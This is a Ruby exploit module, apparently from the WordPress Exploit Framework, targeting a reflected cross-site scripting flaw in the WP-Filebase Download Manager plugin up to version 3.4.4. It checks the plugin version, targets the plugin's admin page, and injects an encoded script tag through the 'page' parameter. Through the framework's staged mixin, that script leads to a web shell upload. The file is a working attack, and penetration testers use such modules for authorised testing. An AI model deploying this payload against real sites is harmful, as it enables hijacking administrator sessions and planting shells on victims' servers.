# frozen_string_literal: true

class Wpxf::Exploit::WpFilebaseDownloadManagerReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'WP-Filebase Download Manager <= 3.4.4 Reflected XSS Shell Upload',
      author: [
        'Yorick Koster', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8783'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_filebase_download_manager_wordpress_plugin.html']
      ],
      date: 'Mar 01 2017'
    )
  end

  def check
    check_plugin_version_from_readme('wp-filebase', '3.4.5')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php?page=wpfilebase_files')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'page' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
